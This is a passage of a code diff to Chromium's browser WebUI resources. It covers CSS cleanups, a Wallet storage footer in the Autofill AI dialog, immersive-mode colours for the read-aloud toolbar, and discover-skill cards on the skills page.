   margin-bottom: 3px;
 }
diff --git a/chrome/browser/resources/password_manager/dialogs/add_password_dialog.html b/chrome/browser/resources/password_manager/dialogs/add_password_dialog.html
index ca4a766..97eeb01 100644
--- a/chrome/browser/resources/password_manager/dialogs/add_password_dialog.html
+++ b/chrome/browser/resources/password_manager/dialogs/add_password_dialog.html
@@ -107,7 +107,7 @@
     </div>
     <div class="divider"></div>
     <cr-textarea label="$i18n{noteLabel}" id="noteInput" value="{{note_}}"
-        invalid="[[isNoteInputInvalid_(note_)]]" has-max-height autogrow
+        invalid="[[isNoteInputInvalid_(note_)]]" autogrow
         first-footer="[[getFirstNoteFooter_(note_)]]"
         second-footer="[[getSecondNoteFooter_(note_)]]">
     </cr-textarea>
diff --git a/chrome/browser/resources/password_manager/dialogs/edit_password_dialog.html b/chrome/browser/resources/password_manager/dialogs/edit_password_dialog.html
index 7f436d8..622cd62 100644
--- a/chrome/browser/resources/password_manager/dialogs/edit_password_dialog.html
+++ b/chrome/browser/resources/password_manager/dialogs/edit_password_dialog.html
@@ -84,7 +84,7 @@
       [[getFootnote_(credential)]]
     </div>
     <cr-textarea id="passwordNote" label="$i18n{noteLabel}" value="{{note_}}"
-        invalid="[[isNoteInputInvalid_(note_)]]" has-max-height autogrow
+        invalid="[[isNoteInputInvalid_(note_)]]" autogrow
         first-footer="[[getFirstNoteFooter_(note_)]]"
         second-footer="[[getSecondNoteFooter_(note_)]]">
     </cr-textarea>
diff --git a/chrome/browser/resources/pdf/elements/ink_text_box.css b/chrome/browser/resources/pdf/elements/ink_text_box.css
index eec60f4..d7c7aca 100644
--- a/chrome/browser/resources/pdf/elements/ink_text_box.css
+++ b/chrome/browser/resources/pdf/elements/ink_text_box.css
@@ -33,7 +33,8 @@
   z-index: 1;
 }
 
-:host([text-rotations_='1']), :host([text-rotations_='3']) {
+:host([text-rotations_='1']),
+:host([text-rotations_='3']) {
   /* Flip the padding values, since the text is oriented vertically. */
   --textarea-padding-inline: calc(8px - var(--border-padding));
   --textarea-padding-vert: calc(10px - var(--border-padding));
diff --git a/chrome/browser/resources/pdf/elements/viewer_toolbar.css b/chrome/browser/resources/pdf/elements/viewer_toolbar.css
index 5040d517..41bc8377 100644
--- a/chrome/browser/resources/pdf/elements/viewer_toolbar.css
+++ b/chrome/browser/resources/pdf/elements/viewer_toolbar.css
@@ -197,6 +197,7 @@
 #annotate-controls .vertical-separator {
   margin-inline: 6px;
 }
+
 </if>
 
 <if expr="enable_pdf_save_to_drive">
diff --git a/chrome/browser/resources/print_preview/ui/advanced_settings_dialog.ts b/chrome/browser/resources/print_preview/ui/advanced_settings_dialog.ts
index 423c19aa..493bac1f 100644
--- a/chrome/browser/resources/print_preview/ui/advanced_settings_dialog.ts
+++ b/chrome/browser/resources/print_preview/ui/advanced_settings_dialog.ts
@@ -68,7 +68,7 @@
   private metrics_: MetricsContext = MetricsContext.printSettingsUi();
 
   override updated(changedProperties: PropertyValues<this>) {
-    super.willUpdate(changedProperties);
+    super.updated(changedProperties);
 
     const changedPrivateProperties =
         changedProperties as Map<PropertyKey, unknown>;
diff --git a/chrome/browser/resources/privacy_sandbox/shared_style.css b/chrome/browser/resources/privacy_sandbox/shared_style.css
index 48e83651..029f2f7 100644
--- a/chrome/browser/resources/privacy_sandbox/shared_style.css
+++ b/chrome/browser/resources/privacy_sandbox/shared_style.css
@@ -189,6 +189,7 @@
 .more-content-available.content-area {
   bottom: 0 !important;
 }
+
 .more-content-available .buttons-container {
   position: static !important;
 }
diff --git a/chrome/browser/resources/profile_internals/profile_internals_app.css b/chrome/browser/resources/profile_internals/profile_internals_app.css
index 724a401..904ae2ef 100644
--- a/chrome/browser/resources/profile_internals/profile_internals_app.css
+++ b/chrome/browser/resources/profile_internals/profile_internals_app.css
@@ -40,12 +40,13 @@
   border-style: hidden;
   border-collapse: collapse;
 
-  td, th {
-    padding: 2px;
-    border: solid 2px var(--nested-table-border-color);
-  }
-
+  td,
   th {
+     padding: 2px;
+     border: solid 2px var(--nested-table-border-color);
+   }
+
+   th {
     font-size: .8em;
   }
 }
diff --git a/chrome/browser/resources/search_engine_choice/app.css b/chrome/browser/resources/search_engine_choice/app.css
index c112a9a73..97ceda57 100644
--- a/chrome/browser/resources/search_engine_choice/app.css
+++ b/chrome/browser/resources/search_engine_choice/app.css
@@ -148,6 +148,7 @@
   border-bottom-left-radius: 16px;
   border-bottom-right-radius: 16px;
 }
+
 cr-radio-button[checked] {
   background-color: var(--cr-fallback-color-tonal-container);
 }
diff --git a/chrome/browser/resources/settings/autofill_page/autofill_ai_add_or_edit_dialog.html b/chrome/browser/resources/settings/autofill_page/autofill_ai_add_or_edit_dialog.html
index 6f451c9..aa56fe2 100644
--- a/chrome/browser/resources/settings/autofill_page/autofill_ai_add_or_edit_dialog.html
+++ b/chrome/browser/resources/settings/autofill_page/autofill_ai_add_or_edit_dialog.html
@@ -50,6 +50,11 @@
   #invalid-date-select-label {
     color: var(--cr-fallback-color-error);
   }
+
+  #footer {
+    margin-top: 8px;
+    white-space: initial;
+  }
 </style>
 <cr-dialog id="dialog" close-text="$i18n{close}">
   <div slot="title">[[dialogTitle]]</div>
@@ -184,6 +189,11 @@
      hidden="[[!validationError_]]">
       [[validationError_]]
     </div>
+
+    <div id="footer"
+         hidden="[[!footerText_]]">
+      [[footerText_]]
+    </div>
   </div>
   <div slot="button-container">
     <cr-button class="cancel-button" on-click="onCancelClick_">
diff --git a/chrome/browser/resources/settings/autofill_page/autofill_ai_add_or_edit_dialog.ts b/chrome/browser/resources/settings/autofill_page/autofill_ai_add_or_edit_dialog.ts
index c0996ee..7687cead 100644
--- a/chrome/browser/resources/settings/autofill_page/autofill_ai_add_or_edit_dialog.ts
+++ b/chrome/browser/resources/settings/autofill_page/autofill_ai_add_or_edit_dialog.ts
@@ -105,6 +105,22 @@
       },
 
       /**
+       *  User email associated with the account.
+       */
+      userEmail_: {
+        type: String,
+        value: '',
+      },
+
+      /**
+       * Footer text shown in the view. If empty, no footer text is shown.
+       */
+      footerText_: {
+        type: String,
+        computed: 'computeFooterText_(entityInstance.*, userEmail_)',
+      },
+
+      /**
          True if all fields are empty. The first validation occurs when the user
          clicks the "Save" button for the first time. Subsequent validations
          occur any time an input field is changed. If true, the "Save" button
@@ -182,6 +198,8 @@
   declare private months_: string[];
   declare private days_: string[];
   declare private years_: string[];
+  declare private userEmail_: string;
+  declare private footerText_: string;
 
   private requiredAttributeTypes_: AttributeType[] = [];
   private entityDataManager_: EntityDataManagerProxy =
@@ -206,6 +224,11 @@
     this.completeAttributeTypesList_ = attributeTypes;
     this.requiredAttributeTypes_ = requiredAttributes;
 
+    const accountInfo = await chrome.autofillPrivate.getAccountInfo();
+    if (accountInfo && accountInfo.email) {
+      this.userEmail_ = accountInfo.email;
+    }
+
     // TODO(crbug.com/407794687): Decide whether the code should show a spinner
     // instead of delaying the display of the dialog. Keep this decision
     // consistent with all Autofill dialogs (Autofill Ai, Autofill, Payments,
@@ -376,6 +399,20 @@
     this.onAttributeInstanceFieldInput_(e);
   }
 
+  private computeFooterText_(): string {
+    if (!this.entityInstance || this.entityInstance.guid || !this.userEmail_ ||
+        !this.entityInstance?.type.supportsWalletStorage) {
+      return '';
+    }
+
+    // Show footer only when it is a new entity and type supports Wallet
+    // storage. This is sufficient because the entities stored in Wallet are not
+    // editable from the settings.
+    return this.i18n(
+        'saveInfoToWalletAccountNotice', this.i18n('googleWalletTitle'),
+        this.userEmail_);
+  }
+
   private isExistingYearOutOfBounds_(
       attributeInstance: AttributeInstance, years: string[]): boolean {
     const year = this.getExistingYear_(attributeInstance);
@@ -517,11 +554,18 @@
     this.userClickedSaveButton_ = true;
     this.validateForm_();
     if (this.canSave_) {
+      const entityToSave = {...this.entityInstance!};
+
+      // If the type supports Wallet storage, we default to saving to Wallet but
+      // only for new entities.
+      if (!entityToSave.guid && entityToSave.type.supportsWalletStorage) {
+        entityToSave.storedInWallet = true;
+      }
       this.dispatchEvent(new CustomEvent('autofill-ai-add-or-edit-done', {
         bubbles: true,
         composed: true,
         detail: {
-          ...this.entityInstance,
+          ...entityToSave,
           attributeInstances: this.completeAttributeInstanceList_.filter(
               attributeInstance =>
                   this.isAttributeInstanceNotEmpty(attributeInstance)),
diff --git a/chrome/browser/resources/settings/autofill_page/screen_reader_only.css b/chrome/browser/resources/settings/autofill_page/screen_reader_only.css
index eef99f9..88f624dd 100644
--- a/chrome/browser/resources/settings/autofill_page/screen_reader_only.css
+++ b/chrome/browser/resources/settings/autofill_page/screen_reader_only.css
@@ -32,6 +32,7 @@
 .screen-reader-only-host-node {
   position: relative;
 }
+
 .screen-reader-only-host-node .screen-reader-only {
   height: 100%;
   overflow: hidden;
diff --git a/chrome/browser/resources/settings/privacy_page/security/security_page_v2.ts b/chrome/browser/resources/settings/privacy_page/security/security_page_v2.ts
index a99f533b..4ceece79 100644
--- a/chrome/browser/resources/settings/privacy_page/security/security_page_v2.ts
+++ b/chrome/browser/resources/settings/privacy_page/security/security_page_v2.ts
@@ -504,9 +504,17 @@
     Router.getInstance().navigateTo(routes.SECURITY_KEYS);
   }
 
-  private onAdvancedProtectionProgramClick_() {
+  private onAdvancedProtectionProgramClick_(e: Event) {
     OpenWindowProxyImpl.getInstance().openUrl(
         loadTimeData.getString('advancedProtectionURL'));
+    // The Advanced Protection Program link is part of a string that is
+    // contained in a link-row. The default link navigation action will
+    // be ignored to ensure that the click will only be registered for
+    // the link inside the string and not also for the link-row.
+    if ((e.target as HTMLElement).tagName === 'A') {
+      e.preventDefault();
+      return;
+    }
   }
 
   private updateRowsState_() {
diff --git a/chrome/browser/resources/side_panel/bookmarks/power_bookmark_row.css b/chrome/browser/resources/side_panel/bookmarks/power_bookmark_row.css
index fa8b40c8..b1364a08f 100644
--- a/chrome/browser/resources/side_panel/bookmarks/power_bookmark_row.css
+++ b/chrome/browser/resources/side_panel/bookmarks/power_bookmark_row.css
@@ -24,7 +24,7 @@
 }
 
 :host(:not([has-folders])) cr-url-list-item {
-  margin-inline-start: 0px;
+  margin-inline-start: 0;
   padding-inline-start: 8px;
 }
 
diff --git a/chrome/browser/resources/side_panel/bookmarks/power_bookmark_row.ts b/chrome/browser/resources/side_panel/bookmarks/power_bookmark_row.ts
index 6b620a9..387063e 100644
--- a/chrome/browser/resources/side_panel/bookmarks/power_bookmark_row.ts
+++ b/chrome/browser/resources/side_panel/bookmarks/power_bookmark_row.ts
@@ -147,6 +147,7 @@
   }
 
   override disconnectedCallback() {
+    super.disconnectedCallback();
     this.shoppingListenerIds_.forEach(
         id => this.priceTrackingProxy_.getCallbackRouter().removeListener(id));
   }
diff --git a/chrome/browser/resources/side_panel/customize_chrome/customize_toolbar/toolbar.css b/chrome/browser/resources/side_panel/customize_chrome/customize_toolbar/toolbar.css
index ba2b2e1..f7e6644 100644
--- a/chrome/browser/resources/side_panel/customize_chrome/customize_toolbar/toolbar.css
+++ b/chrome/browser/resources/side_panel/customize_chrome/customize_toolbar/toolbar.css
@@ -21,7 +21,7 @@
 
 #pinningSelectionCard {
   /* Remove horizontal padding for highlight */
-  padding: 16px 0px 0px 0px;
+  padding: 16px 0 0 0;
   max-width: calc(360px - 2 * var(--sp-body-padding));
   overflow: hidden;
 }
@@ -57,7 +57,7 @@
 }
 
 .category-title {
-  padding: 0px 16px;
+  padding: 0 16px;
   font-size: 12px;
   font-weight: 500;
 }
diff --git a/chrome/browser/resources/side_panel/read_anything/app/app.css b/chrome/browser/resources/side_panel/read_anything/app/app.css
index a1492d6..4b608b3 100644
--- a/chrome/browser/resources/side_panel/read_anything/app/app.css
+++ b/chrome/browser/resources/side_panel/read_anything/app/app.css
@@ -38,7 +38,7 @@
      it is a line. */
   box-shadow: var(--line-focus-shadow);
   /* Clip path ensures the box shadow doesn't go beyond the content window. */
-  clip-path: inset(var(--line-focus-clip-top) 0px var(--line-focus-clip-bottom) 0px round 12px);
+  clip-path: inset(var(--line-focus-clip-top) 0 var(--line-focus-clip-bottom) 0 round 12px);
   pointer-events: none;
 }
 
@@ -90,7 +90,7 @@
   flex-grow:1;
   height: 100%;
   margin-bottom: var(--sp-card-block-padding);
-  min-height:0px;
+  min-height: 0;
   min-width: var(--container-min-width);
   padding-top: 2px;
   padding-left: var(--sp-card-block-padding);
@@ -202,7 +202,7 @@
 #docs-load-more-button {
   background: var(--color-sys-tonal-container);
   margin: 0 auto;
-  border-width: 0px;
+  border-width: 0;
   width: 10em;
   max-width: 100%;
   height: 3em;
diff --git a/chrome/browser/resources/side_panel/read_anything/app/app_style_updater.ts b/chrome/browser/resources/side_panel/read_anything/app/app_style_updater.ts
index b870e32..1ab349fc 100644
--- a/chrome/browser/resources/side_panel/read_anything/app/app_style_updater.ts
+++ b/chrome/browser/resources/side_panel/read_anything/app/app_style_updater.ts
@@ -40,6 +40,9 @@
 const AUDIO_PLAYER_BACKGROUND =
     'var(--color-read-anything-audio-player-background';
 const AUDIO_PLAYER_ICON = 'var(--color-read-anything-audio-player-icon';
+// Immersive mode specific colors.
+const TOOLBAR_ICON = 'var(--color-read-anything-toolbar-icon';
+const AUDIO_CONTROLS_ICON = 'var(--color-read-anything-audio-controls-icon';
 // Line focus styles.
 // Determined by experimentation to balance visibility without risking
 // obstructing any text.
@@ -207,6 +210,11 @@
     this.setStyle_(
         '--audio-player-icon-color',
         this.getAudioPlayerIconColor_(colorSuffix));
+    this.setStyle_(
+        '--toolbar-icon-color', this.getToolbarIconColor_(colorSuffix));
+    this.setStyle_(
+        '--audio-controls-icon-color',
+        this.getAudioControlsIconColor_(colorSuffix));
     const lineFocusBg = this.app_.style.getPropertyValue('--line-focus-bg');
     if (lineFocusBg !== LINE_FOCUS_BG_WINDOW) {
       this.setStyle_('--line-focus-bg', this.getLineFocusColor_(colorSuffix));
@@ -315,4 +323,16 @@
         AUDIO_PLAYER_ICON :
         (AUDIO_PLAYER_ICON + `${colorSuffix})`);
   }
+
+  private getToolbarIconColor_(colorSuffix: ColorSuffix): string {
+    return (colorSuffix === ColorSuffix.DEFAULT) ?
+        TOOLBAR_ICON :
+        (TOOLBAR_ICON + `${colorSuffix})`);
+  }
+
+  private getAudioControlsIconColor_(colorSuffix: ColorSuffix): string {
+    return (colorSuffix === ColorSuffix.DEFAULT) ?
+        AUDIO_CONTROLS_ICON :
+        (AUDIO_CONTROLS_ICON + `${colorSuffix})`);
+  }
 }
diff --git a/chrome/browser/resources/side_panel/read_anything/app/read_anything_toolbar.css b/chrome/browser/resources/side_panel/read_anything/app/read_anything_toolbar.css
index 40d085e8..8cec6ff 100644
--- a/chrome/browser/resources/side_panel/read_anything/app/read_anything_toolbar.css
+++ b/chrome/browser/resources/side_panel/read_anything/app/read_anything_toolbar.css
@@ -11,7 +11,7 @@
  * #scheme=relative
  * #css_wrapper_metadata_end */
 
-#play-pause {
+#audio-controls #play-pause {
   --cr-icon-button-icon-size: 20px;
   --cr-icon-button-fill-color: var(--play-pause-icon-color);
   --cr-icon-button-size: 28px;
@@ -35,11 +35,17 @@
 }
 
 .audio-background-active {
-  --audio-controls-background: var(--audio-player-background-color);
+  --audio-controls-background: var(--color-sys-tonal-container);
   --audio-controls-right-margin: 6px;
   --audio-controls-right-padding: 4px;
 }
 
+.audio-background-immersive-enabled {
+  --audio-controls-background: var(--audio-player-background-color);
+    --audio-controls-right-margin: 6px;
+      --audio-controls-right-padding: 4px;
+}
+
 #audio-controls {
   background: var(--audio-controls-background);
   border-radius: 18px;
@@ -52,9 +58,12 @@
 }
 
 .audio-controls {
-  margin: 0px;
+  margin: 0;
 }
 
+#audio-controls cr-icon-button {
+  --cr-icon-button-fill-color: var(--audio-controls-icon-color-internal);
+}
 /* Separate CSS classes are needed instead of setting the style directly so
  * that when forced colors are active, the color menu isn't reshown through
  * the code used to manage toolbar overflows. */
@@ -98,6 +107,7 @@
   --cr-icon-button-fill-color-default: var(--color-sys-on-surface-subtle);
   --play-pause-icon-color: var(--color-sys-primary);
   --rate-button-text-color: var(--color-sys-on-surface-subtle);
+  --audio-controls-icon-color-internal: var(--color-sys-on-surface-subtle);
   display: flex;
   flex-direction: row;
   align-items: center;
@@ -107,9 +117,10 @@
 }
 
 .immersive-toolbar-container {
-  --cr-icon-button-fill-color-default: var(--foreground-color);
+  --cr-icon-button-fill-color-default: var(--toolbar-icon-color);
   --play-pause-icon-color: var(--audio-player-icon-color);
-  --rate-button-text-color: var(--foreground-color);
+  --rate-button-text-color: var(--audio-controls-icon-color);
+  --audio-controls-icon-color-internal: var(--audio-controls-icon-color);
   background-color: var(--background-color);
   display: flex;
   flex-direction: row;
@@ -159,7 +170,7 @@
   display: inline;
   height: 20px;
   margin: 6px 8px;
-  width: 0px;
+  width: 0;
 }
 
 .spinner {
diff --git a/chrome/browser/resources/side_panel/read_anything/app/read_anything_toolbar.html.ts b/chrome/browser/resources/side_panel/read_anything/app/read_anything_toolbar.html.ts
index 720ebc49..7052516 100644
--- a/chrome/browser/resources/side_panel/read_anything/app/read_anything_toolbar.html.ts
+++ b/chrome/browser/resources/side_panel/read_anything/app/read_anything_toolbar.html.ts
@@ -33,8 +33,13 @@
 }
 
 function getToolbarAudioControlsHtml(this: ReadAnythingToolbarElement) {
+  let audioState = 'inactive';
+  if (this.isImmersiveEnabled_) {
+    audioState = 'immersive-enabled';
+  } else if (this.isSpeechActive) {
+    audioState = 'active';
+  }
   const shouldBeActive = this.isSpeechActive || this.isImmersiveEnabled_;
-  const audioState = shouldBeActive ? 'active' : 'inactive';
   const prevNextAreDisabled = !this.isReadAloudPlayable ||
       (this.isImmersiveEnabled_ && !this.isSpeechActive);
 
diff --git a/chrome/browser/resources/side_panel/read_anything/menus/font_select.css b/chrome/browser/resources/side_panel/read_anything/menus/font_select.css
index 5584210..ef766777 100644
--- a/chrome/browser/resources/side_panel/read_anything/menus/font_select.css
+++ b/chrome/browser/resources/side_panel/read_anything/menus/font_select.css
@@ -14,7 +14,7 @@
 .md-select {
   --md-select-text-color: var(--cr-primary-text-color);
   --md-select-width: fit-content;
-  margin: 4px 0px;
+  margin: 4px 0;
 }
 
 .md-select option {
diff --git a/chrome/browser/resources/side_panel/read_anything/menus/simple_action_menu.css b/chrome/browser/resources/side_panel/read_anything/menus/simple_action_menu.css
index 4ee98e4..5e7e4ff 100644
--- a/chrome/browser/resources/side_panel/read_anything/menus/simple_action_menu.css
+++ b/chrome/browser/resources/side_panel/read_anything/menus/simple_action_menu.css
@@ -55,7 +55,7 @@
 cr-icon {
   --icon-size: 20px;
   height: var(--icon-size);
-  margin: 0px 8px 0px 4px;
+  margin: 0 8px 0 4px;
   width: var(--icon-size);
 }
 
diff --git a/chrome/browser/resources/side_panel/read_anything/read_aloud/language_menu.css b/chrome/browser/resources/side_panel/read_anything/read_aloud/language_menu.css
index a34333b..f98538f 100644
--- a/chrome/browser/resources/side_panel/read_anything/read_aloud/language_menu.css
+++ b/chrome/browser/resources/side_panel/read_anything/read_aloud/language_menu.css
@@ -72,8 +72,8 @@
 
 .language-menu-footer {
   padding-bottom: 8px;
-  padding-top: 0px;
-  border-top: 0px;
+  padding-top: 0;
+  border-top: 0;
 }
 
 .search-field {
diff --git a/chrome/browser/resources/side_panel/read_anything/read_aloud/voice_selection_menu.css b/chrome/browser/resources/side_panel/read_anything/read_aloud/voice_selection_menu.css
index ef9cf12..fcda1dd3 100644
--- a/chrome/browser/resources/side_panel/read_anything/read_aloud/voice_selection_menu.css
+++ b/chrome/browser/resources/side_panel/read_anything/read_aloud/voice_selection_menu.css
@@ -13,7 +13,7 @@
 cr-icon {
   --icon-size: 20px;
   height: var(--icon-size);
-  margin: 0px 8px 0px 4px;
+  margin: 0 8px 0 4px;
   width: var(--icon-size);
 }
 
@@ -60,7 +60,7 @@
   align-items: center;
   display: flex;
   justify-content: space-between;
-  padding: 0px 24px 0px 20px;
+  padding: 0 24px 0 20px;
   width: 100%;
 }
 
@@ -120,4 +120,3 @@
     color: LinkText;
   }
 }
-
diff --git a/chrome/browser/resources/signin/batch_upload/batch_upload_app.css b/chrome/browser/resources/signin/batch_upload/batch_upload_app.css
index 5e00eeb..0cdefed 100644
--- a/chrome/browser/resources/signin/batch_upload/batch_upload_app.css
+++ b/chrome/browser/resources/signin/batch_upload/batch_upload_app.css
@@ -35,7 +35,7 @@
   font-size: 1.125rem;
   font-weight: 500;
   margin-bottom: 16px;
-  margin-top: 0px;
+  margin-top: 0;
 }
 
 #subtitle {
diff --git a/chrome/browser/resources/signin/dice_web_signin_intercept/chrome_signin/chrome_signin_app.css b/chrome/browser/resources/signin/dice_web_signin_intercept/chrome_signin/chrome_signin_app.css
index 9a99b39..aa8c543 100644
--- a/chrome/browser/resources/signin/dice_web_signin_intercept/chrome_signin/chrome_signin_app.css
+++ b/chrome/browser/resources/signin/dice_web_signin_intercept/chrome_signin/chrome_signin_app.css
@@ -28,7 +28,7 @@
   color: var(--cr-primary-text-color);
   font-weight: 500;
   line-height: 24px;
-  margin-bottom: 0px;
+  margin-bottom: 0;
   margin-top: 8px;
 }
 
diff --git a/chrome/browser/resources/signin/managed_user_profile_notice/managed_user_profile_notice_disclosure.css b/chrome/browser/resources/signin/managed_user_profile_notice/managed_user_profile_notice_disclosure.css
index f297f293c..34db298 100644
--- a/chrome/browser/resources/signin/managed_user_profile_notice/managed_user_profile_notice_disclosure.css
+++ b/chrome/browser/resources/signin/managed_user_profile_notice/managed_user_profile_notice_disclosure.css
@@ -119,7 +119,7 @@
   font-size: 15px;
   font-weight: 500;
   line-height: 20px;
-  margin: 0px;
+  margin: 0;
   text-align: start;
 }
 
diff --git a/chrome/browser/resources/signin/profile_customization/profile_customization_app.css b/chrome/browser/resources/signin/profile_customization/profile_customization_app.css
index cf921a58..6f1c0cdd 100644
--- a/chrome/browser/resources/signin/profile_customization/profile_customization_app.css
+++ b/chrome/browser/resources/signin/profile_customization/profile_customization_app.css
@@ -125,7 +125,7 @@
   font-size: 11px;
   font-weight: 500;
   line-height: 16px;
-  margin: 0px auto 0px auto;
+  margin: 0 auto 0 auto;
   width: 148px;
 }
 
@@ -141,7 +141,7 @@
 }
 
 #inputTitle:not([hidden]) + #nameInput {
-  margin-top: 0px;
+  margin-top: 0;
 }
 
 #pickThemeContainer {
diff --git a/chrome/browser/resources/skills/BUILD.gn b/chrome/browser/resources/skills/BUILD.gn
index 8129374..66f9c76 100644
--- a/chrome/browser/resources/skills/BUILD.gn
+++ b/chrome/browser/resources/skills/BUILD.gn
@@ -47,6 +47,7 @@
     "discover_skills_page.css",
     "error_page.css",
     "shared_style.css",
+    "shared_vars.css",
     "sidebar.css",
     "skills_dialog.css",
     "user_skills_page.css",
diff --git a/chrome/browser/resources/skills/app.css b/chrome/browser/resources/skills/app.css
index 75082bb0..a7a8bae 100644
--- a/chrome/browser/resources/skills/app.css
+++ b/chrome/browser/resources/skills/app.css
@@ -21,7 +21,6 @@
 #content {
   display: flex;
   flex: 1;
-  overflow: overlay;
   position: relative;
 }
 
@@ -36,7 +35,6 @@
   max-height: 100%;
   width: 100%;
   overscroll-behavior: contain;
-  overflow: auto;
   padding-top: 8px;
 }
 
@@ -48,7 +46,8 @@
   display: flex;
   flex-direction: column;
 
-  max-width: 850px;
+  /* The width is calculated using the width of 3 skill cards plus padding. */
+  max-width: calc(3 * var(--skills-card-width) + 2 * var(--skills-card-gap) + var(--page-right-padding));
   /* Align the left edge of the page selector with the left edge of
    * the search bar contained within cr-toolbar. If the window is too narrow
    * the searchbar disappears, max(0px,...) ensures the content is not being
diff --git a/chrome/browser/resources/skills/card.css b/chrome/browser/resources/skills/card.css
index 5775ec2f..46732a7 100644
--- a/chrome/browser/resources/skills/card.css
+++ b/chrome/browser/resources/skills/card.css
@@ -6,28 +6,32 @@
  * #type=style-lit
  * #import=//resources/cr_elements/cr_shared_style_lit.css.js
  * #import=chrome://resources/cr_elements/cr_shared_vars.css.js
+ * #import=./shared_vars.css.js
  * #scheme=relative
  * #include=cr-shared-style-lit
  * #css_wrapper_metadata_end */
 
 :host {
+  --more-menu-icon-container: 40px;
+  --skill-icon: 26px;
   display: flex;
   flex-direction: column;
-  height: 230px;
-  width: 270px;
+  height: var(--skills-card-height);
+  width: var(--skills-card-width);
 }
 
 .card {
   align-items: flex-start;
   background-color: var(--color-sys-surface1);
   border-radius: var(--cr-card-border-radius);
+  box-sizing: border-box;
   display: flex;
   flex-direction: column;
   gap: 16px;
-  height: 198px;
+  height: 100%;
   margin: 0 auto;
-  padding: 16px;
-  width: 238px;
+  padding: var(--skills-card-gap);
+  width: 100%;
 }
 
 #cardHeader {
@@ -43,10 +47,20 @@
   font-size: 14px;
   font-weight: 500;
   line-height: 20px;
+  width: 100%;
 }
 
 #icon {
-  margin-inline-end: 8px;
+  box-sizing: border-box;
+  padding-right: 8px;
+  width: var(--skill-icon);
+}
+
+#name {
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+  max-width: calc(var(--skills-card-width) - 2 * var(--skills-card-gap) - var(--skill-icon) - var(--more-menu-icon-container));
 }
 
 #cardBody {
@@ -59,12 +73,14 @@
   height: 110px;
   line-height: 20px;
   overflow: hidden;
+  text-overflow: ellipsis;
+  width: 100%;
 }
 
 #cardFooter {
   flex: 1;
 }
 
-#editButton {
+#editButton, #saveButton {
   --cr-button-border-color: transparent;
 }
diff --git a/chrome/browser/resources/skills/card.html.ts b/chrome/browser/resources/skills/card.html.ts
index 81c5111b..00d7949 100644
--- a/chrome/browser/resources/skills/card.html.ts
+++ b/chrome/browser/resources/skills/card.html.ts
@@ -15,15 +15,26 @@
       <div id="icon">${this.skill.icon}</div>
       <div id="name">${this.skill.name}</div>
     </div>
-    <cr-icon-button id="moreButton" iron-icon="cr:more-vert">
-    </cr-icon-button>
+    <!-- Only show the menu button for user-created skills. -->
+    ${this.isDiscoverCard_() ? html`` : html`
+      <cr-icon-button id="moreButton" iron-icon="cr:more-vert">
+      </cr-icon-button>
+    `}
   </div>
   <div id="cardBody">${this.skill.prompt}</div>
   <div id="cardFooter">
-    <cr-button id="editButton">
-      <cr-icon icon="cr:create" slot="prefix-icon"></cr-icon>
-      $i18n{edit}
-    </cr-button>
+    <!-- Show save button for discover cards and edit button for user-created skills. -->
+    ${this.isDiscoverCard_() ? html`
+      <cr-button id="saveButton">
+        <cr-icon icon="cr:add" slot="prefix-icon"></cr-icon>
+        $i18n{save}
+      </cr-button>
+    ` : html`
+      <cr-button id="editButton">
+        <cr-icon icon="cr:create" slot="prefix-icon"></cr-icon>
+        $i18n{edit}
+      </cr-button>
+    `}
   </div>
 </div>
 <!--_html_template_end_-->`;
diff --git a/chrome/browser/resources/skills/card.ts b/chrome/browser/resources/skills/card.ts
index 9899b90..d1cd77ed 100644
--- a/chrome/browser/resources/skills/card.ts
+++ b/chrome/browser/resources/skills/card.ts
@@ -14,6 +14,11 @@
 import {getCss} from './card.css.js';
 import {getHtml} from './card.html.js';
 
+export enum CardType {
+  USER_SKILL_CARD = 'user-skill-card',
+  DISCOVER_SKILL_CARD = 'discover-skill-card',
+}
+
 export interface SkillCardElement {
   $: {
     cardBody: HTMLElement,
@@ -38,6 +43,7 @@
   static override get properties() {
     return {
       skill: {type: Object},
+      cardType: {type: String},
     };
   }
 
@@ -52,6 +58,11 @@
     creationTime: {internalValue: 0n},
     lastUpdateTime: {internalValue: 0n},
   };
+  accessor cardType: CardType = CardType.USER_SKILL_CARD;
+
+  protected isDiscoverCard_(): boolean {
+    return this.cardType === CardType.DISCOVER_SKILL_CARD;
+  }
 }
 
 declare global {
diff --git a/chrome/browser/resources/skills/discover_skills_page.css b/chrome/browser/resources/skills/discover_skills_page.css
index 20dcbc9..9cef737 100644
--- a/chrome/browser/resources/skills/discover_skills_page.css
+++ b/chrome/browser/resources/skills/discover_skills_page.css
@@ -6,6 +6,7 @@
  * #type=style-lit
  * #import=//resources/cr_elements/cr_shared_style_lit.css.js
  * #import=./shared_style.css.js
+ * #import=./shared_vars.css.js
  * #scheme=relative
  * #include=cr-shared-style-lit shared-style
  * #css_wrapper_metadata_end */
diff --git a/chrome/browser/resources/skills/discover_skills_page.html.ts b/chrome/browser/resources/skills/discover_skills_page.html.ts
index 503815e..8e34931 100644
--- a/chrome/browser/resources/skills/discover_skills_page.html.ts
+++ b/chrome/browser/resources/skills/discover_skills_page.html.ts
@@ -5,6 +5,7 @@
 
 import {html} from '//resources/lit/v3_0/lit.rollup.js';
 
+import {CardType} from './card.js';
 import type {DiscoverSkillsPageElement} from './discover_skills_page.js';
 
 export function getHtml(this: DiscoverSkillsPageElement) {
@@ -25,10 +26,10 @@
       ${category}
     </cr-chip>`)}
 </div>
-<div>
-  ${this.getSelectedSkills_().map(skill =>
-    /* TODO(b/475606460): Replace this with cards */
-    html`<li>${skill.name}</li>`)}
+<div class="skill-cards-container">
+  ${this.getSelectedSkills_().map(skill => html`
+    <skill-card .skill="${skill}" .cardType="${CardType.DISCOVER_SKILL_CARD}">
+    </skill-card>`)}
 </div>
 <!--_html_template_end_-->`;
   // clang-format on
diff --git a/chrome/browser/resources/skills/discover_skills_page.ts b/chrome/browser/resources/skills/discover_skills_page.ts
index 815de81..f938196 100644
--- a/chrome/browser/resources/skills/discover_skills_page.ts
+++ b/chrome/browser/resources/skills/discover_skills_page.ts
@@ -5,6 +5,7 @@
 import '//resources/cr_elements/cr_chip/cr_chip.js';
 import '//resources/cr_elements/cr_icon/cr_icon.js';
 import '//resources/cr_elements/icons.html.js';
+import './card.js';
 
 import {CrLitElement} from '//resources/lit/v3_0/lit.rollup.js';
 
diff --git a/chrome/browser/resources/skills/shared_style.css b/chrome/browser/resources/skills/shared_style.css
index 1daeb2a2..5c0509a8 100644
--- a/chrome/browser/resources/skills/shared_style.css
